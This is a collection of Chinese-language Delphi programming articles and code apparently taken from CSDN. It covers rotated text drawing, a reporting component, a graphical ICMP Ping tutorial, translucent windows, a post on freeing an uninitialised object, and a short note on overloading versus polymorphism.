procedure WriteText(ACanvas: TCanvas;var ARect: TRect;AText: string; Aligns: TTextAligns;
Control: TTextControl;Direction: TTextDirection{; BeErase: Boolean = TRUE});
var S: String;
TempStr: WideString;
ColorRef: TColorRef;
DitheredFlag: Boolean;
LogicFont: TLogFont;
Scaler: Extended;
I,J,X,Y: Integer;
Interval,MaxExtent:Integer;
TextMetric: TTextMetric;
TempExtent: TSize;
TempRect: TRect;

procedure SetLogicFont(W: Integer = 0;H: Integer = 0);
begin
with LogicFont,ACanvas.Font do
begin
if H = 0 then lfHeight := Height
else lfHeight := H;
lfWidth := W;
lfEscapement := 10*Direction;
lfOrientation := 10*Direction;
lfWeight := FW_NORMAL;//FW_BOLD;
lfItalic := BYTE(fsItalic in Style);
lfUnderline := BYTE(fsUnderline in Style);
lfStrikeOut := BYTE(fsStrikeOut in Style);
lfCharSet := Charset;
lfOutPrecision := OUT_TT_PRECIS;
lfClipPrecision := CLIP_DEFAULT_PRECIS;
lfQuality := DEFAULT_QUALITY;

lfPitchAndFamily := DEFAULT_PITCH or FF_DONTCARE;
StrCopy(lfFaceName,PChar(Name));
end;
ACanvas.Font.Handle := Windows.CreateFontIndirect(LogicFont);
end;

procedure DrawDitheredText(BeginX,BeginY: Integer; TheText: String);
begin
DrawBitmap.Canvas.Lock; {Must have it !!}
try
with DrawBitmap do
begin
//Windows.ExtTextOut(Handle,0,0,ETO_OPAQUE,@TempRect, Nil,0,Nil);
Windows.ExtTextOut(Canvas.Handle, BeginX - ARect.Left , BeginY - ARect.Top,
{ETO_OPAQUE or }ETO_CLIPPED, @TempRect, PChar(TheText), Length(TheText),Nil);
ACanvas.CopyRect(ARect,Canvas,TempRect);
end;
finally
DrawBitmap.Canvas.Unlock;
end;
end;

begin
{if BeErase then
if ACanvas.Brush.Style <> bsSolid then
begin
ACanvas.Pen.Style := psClear;
ACanvas.Rectangle(ARect);
ACanvas.Pen.Style := psSolid;
end else ACanvas.FillRect(ARect);
//Windows.ExtTextOut(ACanvas.Handle,0,0,ETO_OPAQUE,@ARect, Nil,0,Nil);
}
if AText = '' then Exit;

ColorRef := ColorToRGB(ACanvas.Brush.Color);
DitheredFlag := //(ACanvas = Printer.Canvas) or
(Windows.GetNearestColor(ACanvas.Handle, ColorRef) <> ColorRef);

if DitheredFlag then
begin
with DrawBitmap,ARect do { Use offscreen bitmap to eliminate flicker and }
begin { brush origin tics in painting / scrolling. }
Width := Max(Width, Right - Left);
Height := Max(Height, Bottom - Top);
Canvas.Font := ACanvas.Font;
Canvas.Brush := ACanvas.Brush;
Canvas.Brush.Style := bsSolid;
TempRect := Rect(0, 0, Right - Left, Bottom - Top);
Windows.ExtTextOut(Canvas.Handle,0,0,{ETO_OPAQUE or }ETO_CLIPPED,@TempRect, Nil,0,Nil)
end;
end;

{Prepare parameters for below process}
case Direction of
tdVertChinese:
begin
{More special,use the equivalent width font}
ACanvas.Font.Pitch := fpFixed;
Scaler := 1;
MaxExtent := ARect.Bottom - ARect.Top ;
end;
0:{Horizontal}
begin
Scaler := 1;
MaxExtent := ARect.Right - ARect.Left ;
end;
1..45:
begin
SetLogicFont;
Scaler := Cos(Direction * Pi / 180);
MaxExtent := Floor((ARect.Right - ARect.Left)/Scaler);
end;
46..90:
begin
SetLogicFont;
Scaler := Sin(Direction * Pi / 180);
MaxExtent := Floor((ARect.Bottom - ARect.Top)/ Scaler);
end;
-90..-46:
begin
SetLogicFont;
Scaler := Sin(-Direction * Pi / 180);
MaxExtent := Floor((ARect.Bottom - ARect.Top)/ Scaler);
end;
-45..-1:
begin
SetLogicFont;
Scaler := Cos(-Direction * Pi / 180);
MaxExtent := Floor((ARect.Right - ARect.Left)/Scaler);
end;
end;

{Get control text}
case Control of
tcWordBreak:
begin
J := 0;
X := 0;
TempStr := WideString(AText);
for I := 1 to Length(WideString(AText)) do
begin
S := WideString(AText)[I];
if (S = #13) or (S = #10) then
J := 0
else begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(S), Length(S), TempExtent);
//TempExtent := ACanvas.TextExtent(S);
if Direction = tdVertChinese then
begin
Inc(J,TempExtent.CY);
if J > MaxExtent then
begin
J := TempExtent.CY;
Insert(#13#10,TempStr,I+X); {Soft return}
Inc(X,2);
end;
end else
begin
Inc(J,TempExtent.CX);
if J > MaxExtent then
begin
J := TempExtent.CX;
Insert(#13#10,TempStr,I+X); {Soft return}
Inc(X,2);
end;
end;
end;
end;
Texts.Text := TempStr;
end;
tcSelfAdapt:
begin
Texts.Text := AText;
if Direction = tdVertChinese then
begin
//J := 0;
//X := Length(WideString(Texts[0]));
//TempStr := WideString(Texts[0]);
TempStr := '';
for I := 0 to Texts.Count - 1 do
begin
if Length(TempStr) < Length(WideString(Texts[I])) then
TempStr := WideString(Texts[I]);
//if X < Length(WideString(Texts[I])) then
//begin
// X := Length(WideString(Texts[I]));
// J := I;
//end;
end;
//TempStr := WideString(Texts[J]);
if Length(TempStr) <> 0 then
begin
J := Floor(MaxExtent / Length(TempStr));
for I := ACanvas.Font.Size-1 downto 5 do
begin
Windows.GetTextMetrics(ACanvas.Handle,TextMetric);
if TextMetric.tmHeight < J then Break
else ACanvas.Font.Size := I;
end;
// if -ACanvas.Font.Height > J then
// SetLogicFont(0,0);
// else
end;
end else begin
J := 0;
S := '';
for I := 0 to Texts.Count - 1 do
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
if J < TempExtent.CX then
begin
S := Texts[I];
J := TempExtent.CX;
end;
end;

{for I := ACanvas.Font.Size-1 downto 5 do
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(S), Length(S), TempExtent);
if TempExtent.CX < MaxExtent then Break
else ACanvas.Font.Size := I;
end;}
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(S), Length(S), TempExtent);
if TempExtent.CX > MaxExtent then
for I := -ACanvas.Font.Height downto 1 do
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(S), Length(S), TempExtent);
if TempExtent.CX < MaxExtent then Break
else SetLogicFont(I,0);
end;

end;
end;
tcCalcRect:
begin
Texts.Text := AText;
case Direction of
tdVertChinese:
begin
TempStr := WideString(Texts[0]);
for I := 1 to Texts.Count - 1 do
begin
if Length(TempStr) < Length(WideString(Texts[I])) then
TempStr := WideString(Texts[I]);
end;
Windows.GetTextMetrics(ACanvas.Handle,TextMetric);
ARect.Bottom := ARect.Top + Length(TempStr) * TextMetric.tmHeight;
end;
0:{Horizontal}
begin
J := 0;
for I := 0 to Texts.Count - 1 do
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
if J < TempExtent.CX then J := TempExtent.CX;
end;
ARect.Right := ARect.Left + J;
end;
1..45,-45..-1:
begin
J := 0;
for I := 0 to Texts.Count - 1 do
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
if J < TempExtent.CX then J := TempExtent.CX;
end;
ARect.Right := ARect.Left + Ceil(J*Scaler);
end;
46..90,-90..-46:
begin
J := 0;
for I := 0 to Texts.Count - 1 do
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
if J < TempExtent.CX then J := TempExtent.CX;
end;
ARect.Bottom := ARect.Top + Ceil(J*Scaler);
end;
end;
end;
else Texts.Text := AText;
end;

{Initialize the origin point}
case Direction of
tdVertChinese:
begin
Windows.GetTextMetrics(ACanvas.Handle,TextMetric);
Interval := TextMetric.tmMaxCharWidth + Windows.GetTextCharacterExtra(ACanvas.Handle);
J := Interval * Texts.Count;

if taLeft in Aligns then
X := ARect.Left + J - Interval
else if taHorzCenter in Aligns then
X := (ARect.Right + ARect.Left + J) shr 1 - Interval
else {if taRight in Aligns}
X := ARect.Right - Interval;

Y := ARect.Top + 2;
end;
0:{Horizontal}
begin
Windows.GetTextMetrics(ACanvas.Handle,TextMetric);
Interval := TextMetric.tmHeight;// + TextMetric.tmExternalLeading;

J := Interval * Texts.Count;

X := ARect.Left + 2;

if taBottom in Aligns then
Y := ARect.Bottom - J
else if taVertCenter in Aligns then
Y := (ARect.Bottom + ARect.Top - J) shr 1
else {if taTop in Aligns then}
Y := ARect.Top + 2;

end;
1..45:
begin
Windows.GetTextMetrics(ACanvas.Handle,TextMetric);
Interval := Ceil((TextMetric.tmHeight {+ TextMetric.tmExternalLeading})/Scaler);
J := Interval * Texts.Count;

X := ARect.Left + 2;

if taBottom in Aligns then
Y := ARect.Bottom - J
else if taVertCenter in Aligns then
Y := (ARect.Bottom + ARect.Top - J) shr 1
else {if taTop in Aligns then}
Y := ARect.Top + 2;

end;
46..90:
begin
Windows.GetTextMetrics(ACanvas.Handle,TextMetric);
Interval := Ceil((TextMetric.tmHeight {+ TextMetric.tmExternalLeading})/Scaler);
J := Interval * Texts.Count;

if taRight in Aligns then
X := ARect.Right - J
else if taHorzCenter in Aligns then
X := (ARect.Right + ARect.Left - J) shr 1
else {if taLeft in Aligns}
X := ARect.Left + 2;

Y := ARect.Bottom - 2;

end;
-90..-46:
begin
Windows.GetTextMetrics(ACanvas.Handle,TextMetric);
Interval := Ceil((TextMetric.tmHeight{ + TextMetric.tmExternalLeading})/Scaler);
J := Interval * Texts.Count;

if taLeft in Aligns then
X := ARect.Left + J
else if taHorzCenter in Aligns then
X := (ARect.Right + ARect.Left + J) shr 1
else {if taRight in Aligns}
X := ARect.Right - 2;

Y := ARect.Top + 2;
end;
-45..-1:
begin
Windows.GetTextMetrics(ACanvas.Handle,TextMetric);
Interval := Ceil((TextMetric.tmHeight{ + TextMetric.tmExternalLeading})/Scaler);
J := Interval * Texts.Count;

X := ARect.Left + 2;

if taBottom in Aligns then
Y := ARect.Bottom - J
else if taVertCenter in Aligns then
Y := (ARect.Bottom + ARect.Top - J) shr 1
else {if taTop in Aligns then}
Y := ARect.Top + 2;

end;
end;

//OldBrushStyle := ACanvas.Brush.Style;
//ACanvas.Brush.Style := bsClear;
for I := 0 to Texts.Count - 1 do
begin
case Direction of
tdVertChinese:
begin
J := Length(WideString(Texts[I])) * (TextMetric.tmHeight{ + TextMetric.tmExternalLeading});

if taBottom in Aligns then
Y := ARect.Bottom - J
else if taVertCenter in Aligns then
Y := (ARect.Bottom + ARect.Top - J) shr 1
else {if taTop in Aligns then}
Y := ARect.Top + 2;

TempExtent.CX := X;
TempExtent.CY := Y;
for J := 1 to Length(WideString(Texts[I])) do
begin
S := WideString(Texts[I])[J];
if DitheredFlag then
DrawDitheredText(TempExtent.CX,TempExtent.CY,S)
else begin
//Windows.ExtTextOut(ACanvas.Handle,0,0,ETO_OPAQUE,@ARect, Nil,0,Nil);
Windows.ExtTextOut(ACanvas.Handle, TempExtent.CX, TempExtent.CY,{ETO_OPAQUE or} ETO_CLIPPED,
@ARect, PChar(S), Length(S),Nil);
end;
Inc(TempExtent.CY ,TextMetric.tmHeight{ + TextMetric.tmExternalLeading});
end;
Dec(X,Interval);
end;
0:{Horizontal}
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
if taRight in Aligns then
X := ARect.Right - TempExtent.CX
else if taHorzCenter in Aligns then
X := (ARect.Right + ARect.Left - TempExtent.CX) shr 1
else {if taLeft in Aligns then}
X := ARect.Left + 2;

if DitheredFlag then
DrawDitheredText(X,Y,Texts[I])
else begin
//Windows.ExtTextOut(ACanvas.Handle,0,0,ETO_OPAQUE,@ARect, Nil,0,Nil);
Windows.ExtTextOut(ACanvas.Handle, X, Y,{ETO_OPAQUE or} ETO_CLIPPED,
@ARect, PChar(Texts[I]), Length(Texts[I]),Nil);
end;
Inc(Y,Interval);
end;

1..45:
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
J := Ceil(TempExtent.CX*Scaler);
if taRight in Aligns then
begin
TempExtent.CX := ARect.Right - J;
TempExtent.CY := Y + Ceil((X- TempExtent.CX)* Tan(Direction * Pi / 180));
end else if taHorzCenter in Aligns then
begin
TempExtent.CX := (ARect.Right + ARect.Left - J) shr 1;
TempExtent.CY := Y + Ceil((X - TempExtent.CX )* Tan(Direction * Pi / 180));
end else {if taLeft in Aligns then}
begin
TempExtent.CX := ARect.Left + 2;
TempExtent.CY := Y;
end;
if DitheredFlag then
DrawDitheredText(TempExtent.CX,TempExtent.CY,Texts[I])
else begin
//Windows.ExtTextOut(ACanvas.Handle,0,0,ETO_OPAQUE,@ARect, Nil,0,Nil);
Windows.ExtTextOut(ACanvas.Handle, TempExtent.CX, TempExtent.CY,{ETO_OPAQUE or} ETO_CLIPPED,
@ARect, PChar(Texts[I]), Length(Texts[I]),Nil);
end;
Inc(Y,Interval);
end;

46..90:
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
J := Ceil(TempExtent.CX*Scaler);

if taTop in Aligns then
begin
TempExtent.CY := ARect.Top + J;
TempExtent.CX := X + Ceil((Y - TempExtent.CY)/ Tan(Direction * Pi / 180));
end else if taVertCenter in Aligns then
begin
TempExtent.CY := (ARect.Bottom + ARect.Top + J) shr 1;
TempExtent.CX := X + Ceil((Y - TempExtent.CY)/ Tan(Direction * Pi / 180));
end else {if taLeft in Aligns then}
begin
TempExtent.CY := ARect.Top + 2;
TempExtent.CX := X;
end;

if DitheredFlag then
DrawDitheredText(TempExtent.CX,TempExtent.CY,Texts[I])
else begin
//Windows.ExtTextOut(ACanvas.Handle,0,0,ETO_OPAQUE,@ARect, Nil,0,Nil);
Windows.ExtTextOut(ACanvas.Handle, TempExtent.CX, TempExtent.CY,{ETO_OPAQUE or} ETO_CLIPPED,
@ARect, PChar(Texts[I]), Length(Texts[I]),Nil);
end;
Inc(X,Interval);
end;

-90..-46:
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
J := Ceil(TempExtent.CX*Scaler);

if taBottom in Aligns then
begin
TempExtent.CY := ARect.Bottom - J;
TempExtent.CX := X + Ceil((TempExtent.CY - Y)/ Tan(-Direction * Pi / 180));
end else if taVertCenter in Aligns then
begin
TempExtent.CY := (ARect.Bottom + ARect.Top - J) shr 1;
TempExtent.CX := X + Ceil((TempExtent.CY - Y)/ Tan(-Direction * Pi / 180));
end else {if taLeft in Aligns then}
begin
TempExtent.CY := ARect.Top + 2;
TempExtent.CX := X;
end;

if DitheredFlag then
DrawDitheredText(TempExtent.CX,TempExtent.CY,Texts[I])
else begin
//Windows.ExtTextOut(ACanvas.Handle,0,0,ETO_OPAQUE,@ARect, Nil,0,Nil);
Windows.ExtTextOut(ACanvas.Handle, TempExtent.CX, TempExtent.CY,{ETO_OPAQUE or} ETO_CLIPPED,
@ARect, PChar(Texts[I]), Length(Texts[I]),Nil);
end;
Dec(X,Interval);
end;

-45..-1:
begin
Windows.GetTextExtentPoint32(ACanvas.Handle, PChar(Texts[I]), Length(Texts[I]), TempExtent);
J := Ceil(TempExtent.CX*Scaler);

if taRight in Aligns then
begin
TempExtent.CX := ARect.Right - J;
TempExtent.CY := Y + Ceil((TempExtent.CX - X ) * Tan(-Direction * Pi / 180));
end else if taHorzCenter in Aligns then
begin
TempExtent.CX := (ARect.Right + ARect.Left - J) shr 1;
TempExtent.CY := Y + Ceil((TempExtent.CX - X ) * Tan(-Direction * Pi / 180));
end else {if taLeft in Aligns then}
begin
TempExtent.CX := ARect.Left + 2;
TempExtent.CY := Y;
end;
if DitheredFlag then
DrawDitheredText(TempExtent.CX,TempExtent.CY,Texts[I])
else begin
//Windows.ExtTextOut(ACanvas.Handle,0,0,ETO_OPAQUE,@ARect, Nil,0,Nil);
Windows.ExtTextOut(ACanvas.Handle, TempExtent.CX, TempExtent.CY,{ETO_OPAQUE or} ETO_CLIPPED,
@ARect, PChar(Texts[I]), Length(Texts[I]),Nil);
end;
Inc(Y,Interval);
end;
end;
end;
// ACanvas.Brush.Style := OldBrushStyle;
end;


CSDN_文档中心_报表设计

http://www.csdn.net/cnshare/soft.asp?class=219

一个是将（商务管理软件）开发人员的报表设计工作量降为零，同时为最终用户提供“简单易用（这很重要）”、“功能强大”、“灵活方便”的报表自定义途径的报表组件。
========================================================================

SReport 是谁？
=============
一个是将（商务管理软件）开发人员的报表设计工作量降为零，同时为最终用户提供“简单易用（这很重要）”、“功能强大”、“灵活方便”的报表自定义途径的Delphi Vcl。

SReport 能做什么？
=================
（一）自定义页面、边距、字体；
（二）自定义标题和页眉页脚；
（三）在表头尾可以打印任何相关数据主表中的数据和自定义标签。
（四）可以定义明细数据中要打印的字段、标题、宽度、对齐方式、字体。
（五）可以定义明细数据是否页计、是否累计、是否总计、大写字段；
（六）实现针打中的卷纸打印－打多少内容，走多少纸。
（七）直接生成文本文件、EXCEL格式文件、HTML网页格式文件。
（八）用户可以自己定义是否要打印报表顶端的单位信息标志。
（九）支持同一报表多格式并存，按用户的选择输出不同的报表。

SReport 是如何工作的？
=====================
提供需要打印的数据集(Table,Query,ADOQuery等即TDataSet)名称并保证它处于打开状态。其它一切问题就由控件自己搞定（单表、主从结构、多主一从构，自定义结构）。

==================================================
Write by Songlichao 2001/05/23
Email:songlch@263.net
==================================================


CSDN_文档中心_编程动动手，Ping程序“跟你走”！[原创]

<BODY>

<P ALIGN="center"><A HREF="http://home.donews.com/cgi-bin/article.fcgi?sw=77&articleid=23075"><FONT SIZE="4"><B>编程动动手，Ping程序“跟你走”！[原创]</B></FONT></A><FONT COLOR="#333333" FACE="宋体"><BR>
---用Delphi打造图形界面的Ping程序[原创]
<P ALIGN="right">★ 中共河南省济源市委党校，耿百强<BR>
<BR>
摘要：本文主要介绍利用Delphi6实现一个图形界面Ping程序的方法，其中主要讨论了ICMP协议和ICMP协议控件及其编程方法，并给出了一个实例程序。解决了Ping命令行程序的缺点。<BR>
关键词：Delphi，ICMP协议，Ping程序</P>
<P>一、 前言<BR>
在日常网络管理时，我们常用Ping命令来测试是否能与宿主（或路由）连通。但它一般是以命令行的形式提供给我们，不仅使用不方便，而且命令执行速度较快时，常常使我们看不清执行结果。那么，有没有办法来解决这个矛盾呢？答案当然是肯定的。下面，我们将利用Delphi强大的网络编程功能来实现一个图形化的Ping程序，程序的运行界面如图1所示。<BR>
<BR>
<IMG BORDER="0" SRC="http://www.jyzx.com/bbs/pic/jpg.gif" WIDTH="16" HEIGHT="16">此主题相关图片如下：<BR>
<A HREF="http://www.jyzx.com/bbs/uploadImages/20023813304786592.jpg" TARGET="_blank"><IMG ALT="按此在新窗口浏览图片" BORDER="0" ONLOAD="javascript:if(this.width>screen.width-333)this.width=screen.width-333" SRC="http://www.jyzx.com/bbs/uploadImages/20023813304786592.jpg" WIDTH="467"></A><BR>
程序的主要功能：在Address后的编辑框中可以输入一个计算机的名称或者IP地址，然后按Ping按钮或直接按回车可以测试与宿主计算机的连通性，如果连能正常，则在下面的列表框中显示宿主计算机的IP地址等信息。可以通过Clear功能按钮实现对列表框信息的清除。<BR>
二、 编程原理<BR>
ICMP（Internet Control Messages Protocol）是Internet信报控制协议的简写，它将报文放在一个IP数据报的数据部分中通过网络传送，该协议允许路由器向其它的路由器或者主机发送并且回收差错与控制报文，它为发生差错的路由器提供了向源端报告差错的功能。连通性测试程序Ping正是利用了ICMP协议的这种特性，通过向目的端（宿主）发送并且回收信报来测试端到端的连通性。<BR>
Delphi6.0新增了Indy网络控件组，包括了几乎所有的网络协议控件，比如SMTP、POP3、SNMP及ICMP等，避免了程序员直接与WinSocket打交道，大大方便了我们编写网络程序。Indy控件组分为Server和Clent两部分，以适应我们编写不同的服务器/工作站程序。我们可以很方便的在Indy Clent中找到ICMP协议控件TidIcmpClient。<BR>
TidIcmpClient控件的常用属性如下：<BR>
HOST：宿主计算机的IP地址，可以是计算机的名字或者IP地址；<BR>
Port：表示接收报文的本地系统的端口号；<BR>
ReceiveTimeout：表示连接等待宿主计算机回应的最大时间，单位是毫秒。<BR>
TidIcmpClient控件的主要方法：<BR>
Ping()：检测本地计算机与宿主计算机的连通性。<BR>
TidIcmpClient控件的主要事件：<BR>
OnICMPReply(ASender: TComponent; const AReplyStatus: TReplyStatus)：在本地计算机接收到宿主计算机回应时触发，回收消息放在对象AreplyStatus中。<BR>
三、编程实现<BR>
下面我们就来制作一个图形界面的Ping程序。<BR>
1、启动Delphi6.0，打开一个新的标准工程。在窗体中添加所需的控件。<BR>
首先向窗体顶端添加一个Panel控件，在其上再依次添加一个Label、Edit和两个Button控件，并修改Button控件的标题为“Ping”和“Clear”，然后再在Panel下面添加一个ListBox控件，最后再添加一个ICMP控件，并修改其名字属性为“ICMP”。依次设置其有关的属性等，修改后的窗体界面如图2所示。<BR>
<BR>
<IMG BORDER="0" SRC="http://www.jyzx.com/bbs/pic/jpg.gif" WIDTH="16" HEIGHT="16">此主题相关图片如下：<BR>
<A HREF="http://www.jyzx.com/bbs/uploadImages/20023813315035522.jpg" TARGET="_blank"><IMG ALT="按此在新窗口浏览图片" BORDER="0" ONLOAD="javascript:if(this.width>screen.width-333)this.width=screen.width-333" SRC="http://www.jyzx.com/bbs/uploadImages/20023813315035522.jpg" WIDTH="442" HEIGHT="293"></A><BR>
<BR>
2、Edit1控件是实现IP地址或者计算机名字的输入的， Button1则是实现Ping功能的，将其Default属性设为True，这样当用户按下回车键时，可以直接实现Ping功能。其主要的代码段如下：<BR>
procedure TForm1.Button1Click(Sender: TObject);<BR>
var<BR>
i : integer;<BR>
begin<BR>
ICMP.Host := Edit1.Text ; file://宿主计算机的名称或IP地址<BR>
ICMP.ReceiveTimeout := 1000; file://最大等待时间<BR>
Button1.Enabled := false;<BR>
try<BR>
for i:=0 to 3 do file://重复4次<BR>
begin<BR>
ICMP.Ping ;<BR>
Application.ProcessMessages ; file://延时<BR>
end;<BR>
finally<BR>
Button1.Enabled := true;<BR>
end;<BR>
end;<BR>
3、当本地计算机向宿主计算机发送一个数据包，当本地计算机接收到宿主计算机的信息时，会触发ICMPReply事件，可以在这个事件中实现对回收信息的显示或者差错等。其主要的代码段如下：<BR>
<P>procedure TForm1.ICMPReply(ASender: TComponent;<BR>
const AReplyStatus: TReplyStatus);<BR>
var<BR>
sTime: string;<BR>
begin<BR>
file://检测Ping的回复错误<BR>
if (AReplyStatus.MsRoundTripTime = 0 ) then<BR>
sTime := '<1'<BR>
else<BR>
sTime := '=';</P>
<P> file://在列表框中显示Ping消息<BR>
ListBox1.Items.Add(Format('ICMP_SEQ=%d Reply from %s [%s] : Bytes=%d time%s%d ms TTL=%d',<BR>
[AReplyStatus.SequenceId,<BR>
Edit1.Text,<BR>
AReplyStatus.FromIpAddress,<BR>
AReplyStatus.BytesReceived,<BR>
sTime,<BR>
AReplyStatus.MsRoundTripTime,<BR>
AReplyStatus.TimeToLive]));<BR>
end;<BR>
</P>
4、Button2按钮是实现对列表框的清除功能的，代码段如下：<BR>
procedure TForm1.Button2Click(Sender: TObject);<BR>
begin<BR>
ListBox1.Clear ;<BR>
end;<BR>
编译上面的程序，一个图形化的Ping程序就这样轻轻松松的展现在您的面前了，是不是很酷？实际上我们还可以通过Delphi6提供的Indy控件组，实现其它的网络程序。自己做一下，你会发现，你在做这些时其实很简单，因为Delphi6已经为程序员做了许多工作。好了，大家如果有什么问题欢迎发信到romanticonline@hotmail.com，大家共同进步吧。<BR>
程序在Windows2000中文版、Delphi6.0下编译通过。</P>
<P><SPAN CLASS="TEXTFONT">作者：耿百强<BR>
地址：中共河南省济源市委党校<BR>
邮政编码：454650<BR>
联系电话：0391-6666267<BR>
E-Mail:dxgbq@sohu.com<BR>
OICQ:10562208<BR>
写稿日期：2002-3-12<BR>
</SPAN></P>
<P><BR>
</P>
</FONT>

</BODY>


CSDN_文档中心_编程实现窗体的半透明效果

编程实现窗体的半透明效果　作者：罗蔷　发布时间：2001/03/16
文章摘要:
    大家都知道Windows 2000支持淡入淡出的窗体显示效果。如何让自己的应用程序也具备这种效果呢？下文对此问题做出了解答。
正文:

编程实现窗体的半透明效果

    如果你不是使用Windows2000+Delphi编程的话，我不想浪费你的时间。如果是，请继续。
    大家都知道Windows 2000支持淡入淡出的窗体显示效果。如何让自己的应用程序也具备这种效果呢？前两天研究FormContainer的Form显示效果时（注：FormContainer是一个强大的Delphi特效处理控件，有兴趣的朋友可以访问http://www.billeniumsoft.com/），得高人告知，核心API函数就是SetLayeredWindowAttributes。
    要实现淡入淡出效果，就需要实现窗口的可调整的透明效果。传统的Windows应用程序想实现透明效果，一般来说需要处理自己的窗口的WM_Paint消息，程序员需要GetDC获取屏幕的HDC，调用BitBlt函数将屏幕将要被覆盖的区域拷贝到内存的TBitmap对象中，然后对该Tbitmap的ScanLine二维数组逐象素的修改rgbtRed、rgbtGreen和rgbtBlue值。天哪，实在是太麻烦了。
    Windows2000的API库中终于提供了半透明的窗体显示效果支持（虽然不是很完善）。要实现半透明的窗口效果，首先需要给创建的窗口添加WS_EX_LAYERED 扩展属性，这是一个新的窗口扩展属性，Delphi5并没有定义相应的常量和SetLayeredWindowAttributes函数，我们需要手工声明。

function SetLayeredWindowAttributes(Handle: HWND;
    COLORKEY: COLORREF; Alpha: BYTE; Flags: DWORD): Boolean; stdcall; external 'USER32.DLL';

Const
    WS_EX_LAYERED = $80000;
    LWA_ALPHA = 2;

    我们调用GetWindowLong函数获取当前窗口的扩展属性，并调用SetWindowLong函数将新的WS_EX_LAYERED窗口扩展属性添加进去。

procedure TForm1.FormCreate(Sender: TObject);
begin
    SetWindowLong(Handle,GWL_EXSTYLE,GetWindowLong(Handle,GWL_EXSTYLE) or WS_EX_LAYERED);
end;

    现在我们的窗口已经可以调用SetLayeredWindowAttributes函数，通过设置该函数的Alpha参数，我们就可以看到窗口的效果的变化。

procedure TForm1.Button1Click(Sender: TObject);
begin
    SetLayeredWindowAttributes(Form1.Handle, 0, 180, LWA_ALPHA);
end;

    以下的VCL控件代码封装了SetLayeredWindowAttributes函数，编程时动态改变AlphaValue值，您就可以看到窗口的透明效果了。控件屏蔽了设计期的显示效果，如果读者愿意可以改为设计期效果可见，不过那样的话，一不小心，您可能就会找不着你要设计的窗体了 8-)

unit TranForm; {DragonPC 2001.2.21 }

interface

uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms ;

type
    TTranForm = class(TComponent)
    private
      FAlphaValue : integer ;
      FParentFormHandle : HWND ;
    procedure SetFAlphaValue(Alpha:integer) ;
      protected
      procedure UpdateDisplay ;
public
    constructor Create(AOwner: TComponent); override;
published
    property AlphaValue : integer read FAlphaValue write SetFAlphaValue ;
end;

procedure Register;

function SetLayeredWindowAttributes(Handle: HWND; COLORKEY: COLORREF;
    Alpha: BYTE; Flags: DWORD): Boolean; stdcall; external 'USER32.DLL';

implementation

procedure Register;
begin
    RegisterComponents('Standard', [TTranForm]);
end;

procedure TTranForm.SetFAlphaValue(Alpha: integer);
    begin
      if (Alpha >= 0) and (Alpha < 256) then begin
      FAlphaValue := Alpha ;
      UpdateDisplay() ;
    end;
end;

procedure TTranForm.UpdateDisplay;
begin
  if (csDesigning in ComponentState) then Exit ;
  SetLayeredWindowAttributes(FParentFormHandle, 0, FAlphaValue, 2);
end;

constructor TTranForm.Create(AOwner: TComponent);
begin
    inherited;
    if (csDesigning in ComponentState) then Exit;
    FAlphaValue := 255 ;
    FParentFormHandle := TForm(AOwner).Handle ;
    SetWindowLong(FParentFormHandle,
                  GWL_EXSTYLE,
                  GetWindowLong(FParentFormHandle, GWL_EXSTYLE) or WS_EX_LAYERED);
end;

end.

    谢谢您的莫大耐心得以看完此文，此文纯粹本着赚取china-pub"假币"目的所写，万一各位看官有任何的疑问，欢迎信至dragonpc@21cn.com，谢谢。

作者会员名：dragonpc


CSDN_文档中心_不知您是笨蛋，还是我是笨蛋，关于Delphi的大Bug

我写了一个段落，在下面这个地址，Delphi的大Bug，您不用费神去看，我在此重复。

但是我觉得后面的评论您可以一瞧。

http://www.csdn.net/Develop/read_article.asp?id=12525

原来的代码是这样，

procedure TForm1.Button1Click(Sender: TObject);
var
strings :TStringList;
begin
if not Assigned(strings) then
begin
strings :=TStringList.Create;
// ShowMessage('sfdasfd');如果加上这样或那样的句子就没有问题,否则,哈哈.
end;
strings.free;
strings := nil;
end;

实际上，我要说的重点只有一行，那就是strings.Free;这一行。

但是恰好有别的代码存在，引起了很多不必要的麻烦，我也曾经强调过几次，但是核心的代码还是被其余的花环罩住了。而且总是引起误会，所以

我重写一遍代码，如下所示：

procedure TForm1.Button1Click(Sender: TObject);
var
strings :TStringList;
begin
strings.free;
end;

事实上，这个代码中的TStringList类可以替换成任何您想要去试一试的类。

这样，如果您使用CPU观察窗口就能发现东西，但是如果不使用它，您就按下Ctrl+F2

终止程序吧。

这个标题是否也有点 笨蛋的意思，我不知道，反正是中文。您和我都能看懂。

实际上这段代码的主旨在于提醒您注意对象的正确使用，至于这段代码出错的原因，

我想，确实是编译器的一个疏漏，但是如果您对类和对象的内存结构没有什么研究的话，我建议您：一、放任，二、钻研它。

如果有空的话，我想，我该写一大段文字出来，以烹各位朋友（哈哈）。


CSDN_文档中心_菜鸟入门之浅谈函数重载和多态的区别

函数重载是和多态不一样的，
函数重载的例子表达式如下：
function Foo(i:Integer):string;overload;
function Foo(s:string):string;overload;
通过传不同的参数，选择执行不同函数执行。

而多态是通过把子类对象赋给父类对象(大逆不道?!:))，
让父类对象具有子类对象的方法，例子表达式如下:
TParent=class(TObject)
procedure Draw;virtual;
end;

TChild=class(TParent)
procedure Draw;override;
procedure ShowHierarchy;virtual;
end;

Parent:=Child;

Parent.Draw;//执行子类的Draw;

这就是我们为什么总是看见sender:TObject的参数，
